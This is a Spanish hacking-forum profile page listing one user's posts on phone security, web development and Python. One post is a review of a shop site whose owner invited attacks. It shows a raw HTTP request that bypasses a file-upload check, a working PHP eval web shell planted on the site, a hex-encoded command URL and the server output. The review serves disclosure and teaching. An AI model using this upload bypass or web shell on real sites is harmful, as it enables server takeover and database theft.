elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 ... 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... 450
171  Foros Generales / Dudas Generales / Re: Dar click a un link mito o verdad en: 9 Septiembre 2020, 20:24 pm
Puedes darle un vistazo a este lugar, está bastante completo y lo explica muy bien: http://wiki.elhacker.net/bugs-y-exploits/overflows-y-shellcodes/bufferoverflow
172  Foros Generales / Dudas Generales / Re: Dar click a un link mito o verdad en: 9 Septiembre 2020, 16:31 pm
De hecho no es un mito, es posible y bastante facil para alguien con conocimientos, solo tendrian que desarrollar un troyano para android (este podria hacerse con python)

Android no soporta python por defecto.

Saludos.
173  Foros Generales / Dudas Generales / Re: Dar click a un link mito o verdad en: 9 Septiembre 2020, 01:09 am
Hay que tener muy en cuenta también que no todos los proveedores móviles mantienen al día las actualizaciones de seguridad del sistema operativo en el caso de usar android, por ejemplo, en muchos casos un dispositivo antiguo solo recibirá actualizaciones ocacionales quedando muy expesto a vulnerabilidades, hay otros de marca de menos prestigio que les sucede lo mismo y es porque su fuerte no está en el software, como sucede mucho con los moviles chinos de marca desconocida. También puede pasar con los de marca más famosas como samsung, sony, htc y motorola, solo que estos mantienen actualizaciones mas frecuentes solo a moviles mas modernos, los demas tardan en recibir las actualizaciones y quedan vulnerables. Muchos creen que usar un iphone están mas seguros pero la realidad es que no es asi, en cuanto a seguridad nativa android (a mi juicio) es mejor que iphone por muchas razones que van mas allá de las actualizaciones, por ejemplo, comenzando por hablar de que android (en especial los dispositivos samsung y htc) usan multiples capas de seguridad que están por encima del framework de android, por ejemplo knox y selinux, sistemas de protección a nivel de kernel que hace muy dificil vulnerar el movil aunque tengan acceso a el, en cambio iphone como buen sistema unix es muy robusto pero carece de capas adicionales de seguridad que esten por sobre ios, entre muchas otras cosas.

Como dice el-brujo, para evitar problemas de seguridad hay que mantener el software actualizado, contar con los conocimientos mínimos de seguridad a nivel usuario y no usar root ni roms inestables y menos si no tienen soporte.

Saludos.
174  Foros Generales / Dudas Generales / Re: Dar click a un link mito o verdad en: 7 Septiembre 2020, 02:49 am
Hola, si es totalmente cierto, pero no es tan facil ni tampoco se puede lograr con cualquier tipo de movil, para eso existen varios requisitos.

Primero, hackear es un término muy ámplio y no siempre quiere decir "dañar algo". Pero en este caso, hay algunos modelos de moviles con sistemas vulnerables y desactualizados que permite la ejecución de código remoto a traves del navegador web (y depende de que navegador web estés usando y que tan desactualziado esté), también es posible enviando unicamente una imagen por whatsapp, pero como dije antes, depende mucho de la versión de la app y del mismo sistema operativo.

Para comenzar hay que entender que toda aplicación y sistema operativo, sea cual sea, tiene actualizaciones y estas actualizaciones por lo general corrigen problemas de funcionalidad y también vulnerabilidades, por ejemplo, antiguamente era posible ejecutar códigos ussd o códigos internos que ejecutan acciones, como por ejemplo, formatear el movil, pero los fabricantes de aplicaciones y sistemas no van a querer que sus softwares sean vulnerables para siempre, estas vulnerabilidades ya un poco antiguas fueron corregidas y en moviles modernos con todas sus actualizaciones al día no tiene ese tipo de problemas, pero los moviles mas antiguos si, lo mismo sucede con la navegación web, algunos navegadores basados en versiones antiguas de chrome como samsung browser y algunos navegadores que vienen integrados de fábrica en el móvil reciben muy poca mantención y actualización y por lo general sufren de problemas de seguridad ya que no se les da la misma atención como a los navegadores mas robustos como google chrome o mozilla firefox.

Con el pasar de los años han habido muchas maneras de poder vulnerar un movil, incluyendo el aplicar un rooteo oculto para ocultar malware tanto en android como ios pero cuando se publican estas vulnerabilidades van siendo corregidas en las actualizaciones del proveedor, asi que, siempre se ha podido y siempre se podrá hackear un movil de manera remota, pero no siempre se hace de la misma manera, por eso es importante mantener siempre al día los sistemas y nunca rootear el movil cuando es de uso personal, cuando es para laboratorio y pruebas si pero no para el uso cotidiano.

Por otro lado, recuerda que un movil no usa un router, asi que, cuando accedes a internet por datos (3g o 4g) tu dirección ip se enviará a internet de manera directa y no habrá ningún router que te pueda proteger de los paquetes de entrada. Ahora, de todas maneras los móviles son mas seguros que usar windows en ese sentido porque existen restricciones muy estrictas con respecto al uso de puertos (recordemos que el núcleo de android es linux y el de ios es unix) y una separación en el uso de procesos que hace que una app vulnerable no pueda afectar a todo el sistema.

Técnicamente, estamos hablando de vulnerabilidades de tipo buffer overflow a un navegador o el famoso bug del use after free de google chrome, un desbordamiento de memoria en el procesamiento de imagenes gif y jpg que fue muy famoso en su tiempo y se redescubrió en varias ocasiones, la vulnerabilidad de los schema tel: que permitía la ejecución de códigos internos del móvil, etc. Vulnerabilidades hay un montón.

Saludos.
175  Seguridad Informática / Hacking Ético / Re: Incinera tu sitio WEB! en: 5 Septiembre 2020, 23:01 pm
Hola Caroxh1, tu sistema de compras tiene algunos errores muy graves.

Cuando te creas una cuenta y accedes con un usuario y tratas de ir al ícono del perfil del usuario puedes ver lo siguiente en el código fuente:

http://musicdum.260mb.net/usuarios/perfilusuario.php

Código:
<a href='../admins/salir.php'>Salir</a> <h1></h1>

¿admins?, porque a un usuario sin privilegios se le muestra una ruta que dice admins?, asi que voy a http://musicdum.260mb.net/admins/ y veo que tiene directory listing:

http://musicdum.260mb.net/admins/

Código:
[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] salir.php               2020-08-03 13:30  110   PHP: Hypertext Preprocessor script
[TXT] ingresarproductos.php   2020-08-05 15:10  2.7K  PHP: Hypertext Preprocessor script
[TXT] datosimagen.php         2020-08-23 13:22  1.2K  PHP: Hypertext Preprocessor script

http://musicdum.260mb.net/php/

Código:
Icon  Name                    Last modified      Size  Description[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] eliminarCarrito.php     2020-07-26 14:41  542   PHP: Hypertext Preprocessor script
[TXT] conexion2.php           2020-08-07 20:08  2.3K  PHP: Hypertext Preprocessor script
[TXT] conexion.php            2020-07-26 15:18  263   PHP: Hypertext Preprocessor script

El directorio /php/ lo obtuve desde el carrito de compras.

Asi que por curiosidad entro a http://musicdum.260mb.net/admins/ingresarproductos.php y me doy cuenta que puedo administrar tus productos sin ser admin.

Por lo que veo tu sistema utiliza secciones que debiesen estar controladas por distintos privilegios y para eso debes crear roles de usuarios, si el usuario no es admin entonces no debiera cargar las paginas de administración y a los directorios sin un index debes crearles un index.html en blanco o un php que haga una redirección al home.

Por otro lado, cuando intentas agregar un producto al carro de compras, no funciona el modificar cantidad porque arroja un 404 y el de eliminar producto arroja un error 500.

A demás, cuando agregas un producto la imagen se sube de manera directa tal cual al servidor, con el mismo nombre y el mismo archivo al directorio público, asi que, si logras bypasear el filtro de tipo de extension de archivo talves se pueda subir una shell y con eso acceder a la db y a los archivos php.

EDITO: ya pude subir la shell. Veo que solo valida el content-type de la cabecera de la petición pero no el contenido o la extensión del archivo, por ejemplo:

Código:
$ ncat --crlf -v musicdum.260mb.net 80
POST /admins/datosimagen.php HTTP/1.1
Host: musicdum.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=---------------------------19531431397062997021845851424
Content-Length: 865
Origin: http://musicdum.260mb.net
DNT: 1
Connection: keep-alive
Referer: http://musicdum.260mb.net/admins/ingresarproductos.php
Cookie: ...

-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="instrumento"

Ukelele
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="descripcion"

x
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="precio"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="categoria"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="inventario"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="imagen"; filename="x.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------19531431397062997021845851424--


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Sep 2020 21:15:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Sat, 05 Sep 2020 21:15:48 GMT

84
<script type="text/javascript">
      alert("Registro exitoso");
      window.location.href="ingresarproductos.php";
      </script>

Como puedes ver en http://musicdum.260mb.net/images/ el archivo x.php se ha subido al servidor sin problemas.

Esto sucede principalmente porque obtienes el nombre del archivo tal cual viene en la petición y lo concatenas con el directorio de subida de archivos, en ves de eso debes ponerle un nombre forzado, por ejemplo, el md5 del nombre original y cambiar la manera en que estás procesando el tipo de archivo permitido.

Ahi va la shell: http://musicdum.260mb.net/images/salir.php (por alguna extraña razón el servidor no permite visualizar el archivo x.php, talves por lo corto del nombre, quien sabe).

Citar
PHP Version 7.4.8
/home/vol12_6/260mb.net

Con eso ya puedes tomar el control de todo el sistema web, modificar archivos, acceder a la base de datos, etc.

Mira, he subido una shell real:

Código:
<?php eval(urldecode(hex2bin($_GET['ex']))); ?>

view-source:http://musicdum.260mb.net/images/server.php?ex=7072696e745f7228676c6f6228272e2e2f2a2729293b

Código:
Array
(
    [0] => ../admins
    [1] => ../assets
    [2] => ../carrito.sql
    [3] => ../cart.php
    [4] => ../checkout.php
    [5] => ../contact.php
    [6] => ../css
    [7] => ../elhacker.net.html
    [8] => ../evaluacion.php
    [9] => ../files for your website should be uploaded here!
    [10] => ../fondo.jpg
    [11] => ../fonts
    [12] => ../imagenes
    [13] => ../images
    [14] => ../index.html
    [15] => ../index.php
    [16] => ../ingresar.php
    [17] => ../js
    [18] => ../layouts
    [19] => ../php
    [20] => ../registers.php
    [21] => ../registrar.php
    [22] => ../scss
    [23] => ../shop-single.php
    [24] => ../thankyou.php
    [25] => ../usuarios
)

Tu archivo conexion.php:

Código:
<?php
  $servidor="sql204.260mb.net";
  $nombreBd="n260m_[OCULTO]_carrito";
  $usuario="n260m_[OCULTO]";
  $pass="[OCULTO]";
  $conexion = new mysqli($servidor,$usuario,$pass,$nombreBd);
  if ($conexion->connect_error) {
    die("No se pudo conectar");
  }


 ?>

Por otro lado, el archivo ingresar.php el cual sirve para la autenticación:

Código:
<?php
include'php/conexion.php';
session_start();
$username = $_POST['usuario'];
$password = $_POST['password'];

$query = "SELECT * FROM usuario WHERE email =?";
$stmt = $conexion->prepare($query);
$stmt->bind_param("s",$username);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if (password_verify($password, $result['password']) && $result['nivel']==2) {
  $_SESSION['username'] = $username;
    header("location: ./admins/ingresarproductos.php");
}else if (password_verify($password, $result['password'])) {
  $_SESSION['username'] = $username;
    header("location: ./index.php");
}else {
  header("Location: registrar.php");

}
 ?>

Está muy bien que hagas bind de parámetros en la consulta sql para evitar inyecciones y me ha gustado que priorizes el uso de funciones nativas como password_verify().

Hay otros errores menores como por ejemplo solicitar contraseñas en un login que no tiene https y demás, pero son cosas básicas que no valen la pena mencionar.

Para los demás usuarios que están leyendo este post, les pido un poco de sentido común, para que podamos continuar realizando revisiones sin problemas, no sobreescriban ningún archivo de ese sitio ni se pongan a extraer o a publicar información de su base de datos. Mientras tanto, les puede servir para realizar pruebas e intentar llegar hasta donde yo lo hice para tomar mayor experiencia.

Gracias Caroxh1 por la oportunidad.

Saludos.
176  Programación / Desarrollo Web / Re: [Pregunta]: Variable global (javascript) en: 1 Septiembre 2020, 04:51 am
Hola, primeramente, siempre se recomienda separar el código de php y javascript en archivos distntos, todo lo que tenga lógica debe ir en tu código php y todo lo estático en tu código javascript en un archivo .js.

Por otro lado, tu variable queda dentro de "$(document).ready(function()" y no sale de esta, por eso es recomendable que todo tu código esté por lo menos en un mismo archivo a menos que te independices de las constantes globales y uses variables desde respuestas json desde php.

Puedes solucionarlo rápido declarando "var my_variable" fuera del jquery, pero de todas maneras es una mala práctica porque nadie te asegura que nunca va a fallar la carga de un php con un código y tendrás que escribir demasiadas comprobaciones, en ves de eso simplemente pon todo en un mismo archivo .js y ya.

Saludos.
177  Foros Generales / Dudas Generales / Re: Alguien sabe usar py3webfuzz en: 30 Agosto 2020, 08:41 am
Hola, si está disponible:

https://pypi.org/project/py3webfuzz/
https://github.com/jangelesg/py3webfuzz

Para instalar sólo debes ejecutar "pip install py3webfuzz" y listo.

Saludos.
178  Programación / Scripting / Re: Duda programa python. en: 24 Agosto 2020, 19:24 pm
Muy facil amigo, cuando, haces pop para retirar un elemento de un array este se transforma y se reordenan los índices, pero mientras lo haces estás iterando, por eso estás omitiendo todos los valores que siguen despues de un valor eliminado ya que se corre el índice. A demás, un array de python cuenta con la función remove(), no hace falta hacerle un pop(), asi no necesitas índices, pero de todas maneras puedes hacerlo más fácil:

Código:
lista = [13, 26, 24, 15, 28, 91, 63]
lista = [i for i in lista if i % 2 != 0]
print(lista)

Código:
$ python3 test.py
[13, 15, 91, 63]

Saludos.
179  Comunicaciones / Redes / Re: Ayuda para monitorear trafico de usuarios en la red ! en: 24 Agosto 2020, 18:36 pm
Ah entiendo, ese tipo de control de límites de tráfico lo puedes hacer desde un router no tan básico, por ejemplo algunos modelos tplink tienen esa opción, asi te evitas tener que instalar agentes y podrás controlar dispositivos móviles y consolas, no solo los computadores.
180  Programación / Desarrollo Web / Re: imprimir sección con angular y conservar los estilos css en: 24 Agosto 2020, 18:34 pm
Por estandar no puedes utilizar caracteres no alfanuméricos en los nombres de las etiquetas, excepto los dos puntos para las etiquetas especiales.
Páginas: 1 ... 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... 450
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines